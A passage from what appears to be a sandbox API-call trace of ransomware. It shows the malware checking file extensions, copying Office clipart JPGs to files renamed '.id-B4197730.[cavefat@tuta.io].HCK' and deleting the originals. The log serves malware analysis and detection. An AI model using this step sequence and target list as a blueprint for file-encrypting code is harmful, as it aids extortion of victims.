(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382939.jpg")) returned 1 [0172.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.725] lstrlenW (lpString=".doc") returned 4 [0172.725] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.725] lstrlenW (lpString=".docx") returned 5 [0172.725] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0172.725] lstrlenW (lpString=".pdf") returned 4 [0172.725] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.725] lstrlenW (lpString=".xls") returned 4 [0172.725] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.725] lstrlenW (lpString=".xlsx") returned 5 [0172.725] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0172.725] lstrlenW (lpString=".ppt") returned 4 [0172.725] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.725] lstrlenW (lpString=".zip") returned 4 [0172.725] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.725] lstrlenW (lpString=".rar") returned 4 [0172.725] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.725] lstrlenW (lpString=".bz2") returned 4 [0172.725] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.725] lstrlenW (lpString=".7z") returned 3 [0172.725] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.725] lstrlenW (lpString=".dbf") returned 4 [0172.725] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.725] lstrlenW (lpString=".1cd") returned 4 [0172.725] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.725] lstrlenW (lpString=".jpg") returned 4 [0172.725] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.725] lstrlenW (lpString=".doc") returned 4 [0172.725] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.725] lstrlenW (lpString=".docx") returned 5 [0172.725] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0172.725] lstrlenW (lpString=".pdf") returned 4 [0172.725] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.725] lstrlenW (lpString=".xls") returned 4 [0172.725] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.726] lstrlenW (lpString=".xlsx") returned 5 [0172.726] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0172.726] lstrlenW (lpString=".ppt") returned 4 [0172.726] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.726] lstrlenW (lpString=".zip") returned 4 [0172.726] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.726] lstrlenW (lpString=".rar") returned 4 [0172.726] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.726] lstrlenW (lpString=".bz2") returned 4 [0172.726] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.726] lstrlenW (lpString=".7z") returned 3 [0172.726] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.726] lstrlenW (lpString=".dbf") returned 4 [0172.726] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.726] lstrlenW (lpString=".1cd") returned 4 [0172.726] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382939.JPG") returned 68 [0172.726] lstrlenW (lpString=".jpg") returned 4 [0172.726] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.726] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.726] lstrlenW (lpString="J0382944.JPG") returned 12 [0172.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0172.727] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=81437) returned 1 [0172.727] CloseHandle (hObject=0x300) returned 1 [0172.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg")) returned 0x220 [0172.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0172.727] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.727] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0172.728] GetLastError () returned 0x0 [0172.728] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x13e1d, lpOverlapped=0x0) returned 1 [0172.754] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x13e20, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x13e20, lpOverlapped=0x0) returned 1 [0172.756] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.756] WriteFile (in: hFile=0x308, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.756] SetEndOfFile (hFile=0x308) returned 1 [0172.756] CloseHandle (hObject=0x308) returned 1 [0172.756] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.756] SetEndOfFile (hFile=0x300) returned 1 [0172.757] CloseHandle (hObject=0x300) returned 1 [0172.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382944.jpg")) returned 1 [0172.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.758] lstrlenW (lpString=".doc") returned 4 [0172.758] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.758] lstrlenW (lpString=".docx") returned 5 [0172.758] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0172.758] lstrlenW (lpString=".pdf") returned 4 [0172.758] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.758] lstrlenW (lpString=".xls") returned 4 [0172.758] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.758] lstrlenW (lpString=".xlsx") returned 5 [0172.758] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0172.758] lstrlenW (lpString=".ppt") returned 4 [0172.758] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.758] lstrlenW (lpString=".zip") returned 4 [0172.758] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.758] lstrlenW (lpString=".rar") returned 4 [0172.758] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.758] lstrlenW (lpString=".bz2") returned 4 [0172.758] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.758] lstrlenW (lpString=".7z") returned 3 [0172.758] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.758] lstrlenW (lpString=".dbf") returned 4 [0172.758] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.758] lstrlenW (lpString=".1cd") returned 4 [0172.758] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.758] lstrlenW (lpString=".jpg") returned 4 [0172.758] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.758] lstrlenW (lpString=".doc") returned 4 [0172.758] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.758] lstrlenW (lpString=".docx") returned 5 [0172.758] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0172.758] lstrlenW (lpString=".pdf") returned 4 [0172.758] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.758] lstrlenW (lpString=".xls") returned 4 [0172.758] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.758] lstrlenW (lpString=".xlsx") returned 5 [0172.758] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0172.758] lstrlenW (lpString=".ppt") returned 4 [0172.758] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.759] lstrlenW (lpString=".zip") returned 4 [0172.759] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.759] lstrlenW (lpString=".rar") returned 4 [0172.759] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.759] lstrlenW (lpString=".bz2") returned 4 [0172.759] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.759] lstrlenW (lpString=".7z") returned 3 [0172.759] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.759] lstrlenW (lpString=".dbf") returned 4 [0172.759] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.759] lstrlenW (lpString=".1cd") returned 4 [0172.759] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382944.JPG") returned 68 [0172.759] lstrlenW (lpString=".jpg") returned 4 [0172.759] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.759] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.759] lstrlenW (lpString="J0382952.JPG") returned 12 [0172.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0172.759] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=96073) returned 1 [0172.760] CloseHandle (hObject=0x300) returned 1 [0172.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg")) returned 0x220 [0172.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0172.760] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.760] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.776] GetLastError () returned 0x0 [0177.776] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x17749, lpOverlapped=0x0) returned 1 [0177.780] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x17750, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x17750, lpOverlapped=0x0) returned 1 [0177.782] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.782] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.782] SetEndOfFile (hFile=0x370) returned 1 [0177.788] CloseHandle (hObject=0x370) returned 1 [0177.790] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.790] SetEndOfFile (hFile=0x300) returned 1 [0177.791] CloseHandle (hObject=0x300) returned 1 [0177.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382952.jpg")) returned 1 [0177.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.793] lstrlenW (lpString=".doc") returned 4 [0177.793] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.793] lstrlenW (lpString=".docx") returned 5 [0177.793] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0177.793] lstrlenW (lpString=".pdf") returned 4 [0177.793] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.793] lstrlenW (lpString=".xls") returned 4 [0177.793] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.793] lstrlenW (lpString=".xlsx") returned 5 [0177.793] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0177.793] lstrlenW (lpString=".ppt") returned 4 [0177.793] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.793] lstrlenW (lpString=".zip") returned 4 [0177.793] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.793] lstrlenW (lpString=".rar") returned 4 [0177.793] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.793] lstrlenW (lpString=".bz2") returned 4 [0177.793] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.793] lstrlenW (lpString=".7z") returned 3 [0177.793] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.794] lstrlenW (lpString=".dbf") returned 4 [0177.794] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.794] lstrlenW (lpString=".1cd") returned 4 [0177.794] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.794] lstrlenW (lpString=".jpg") returned 4 [0177.794] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.794] lstrlenW (lpString=".doc") returned 4 [0177.794] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.794] lstrlenW (lpString=".docx") returned 5 [0177.794] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0177.794] lstrlenW (lpString=".pdf") returned 4 [0177.794] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.794] lstrlenW (lpString=".xls") returned 4 [0177.794] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.794] lstrlenW (lpString=".xlsx") returned 5 [0177.794] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0177.794] lstrlenW (lpString=".ppt") returned 4 [0177.794] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.794] lstrlenW (lpString=".zip") returned 4 [0177.794] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.794] lstrlenW (lpString=".rar") returned 4 [0177.794] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.794] lstrlenW (lpString=".bz2") returned 4 [0177.794] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.794] lstrlenW (lpString=".7z") returned 3 [0177.794] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.794] lstrlenW (lpString=".dbf") returned 4 [0177.794] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.794] lstrlenW (lpString=".1cd") returned 4 [0177.794] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382952.JPG") returned 68 [0177.794] lstrlenW (lpString=".jpg") returned 4 [0177.794] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.794] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0177.794] lstrlenW (lpString="J0382958.JPG") returned 12 [0177.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0177.795] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=103399) returned 1 [0177.796] CloseHandle (hObject=0x370) returned 1 [0177.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg")) returned 0x220 [0177.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0177.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0177.807] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.807] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0177.895] GetLastError () returned 0x0 [0177.895] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x193e7, lpOverlapped=0x0) returned 1 [0177.899] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x193f0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x193f0, lpOverlapped=0x0) returned 1 [0177.900] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.900] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.900] SetEndOfFile (hFile=0x368) returned 1 [0177.903] CloseHandle (hObject=0x368) returned 1 [0177.904] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.904] SetEndOfFile (hFile=0x3a4) returned 1 [0177.905] CloseHandle (hObject=0x3a4) returned 1 [0177.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0177.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382958.jpg")) returned 1 [0177.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382958.JPG") returned 68 [0177.907] lstrlenW (lpString=".doc") returned 4 [0177.907] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.907] lstrlenW (lpString=".docx") returned 5 [0177.907] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 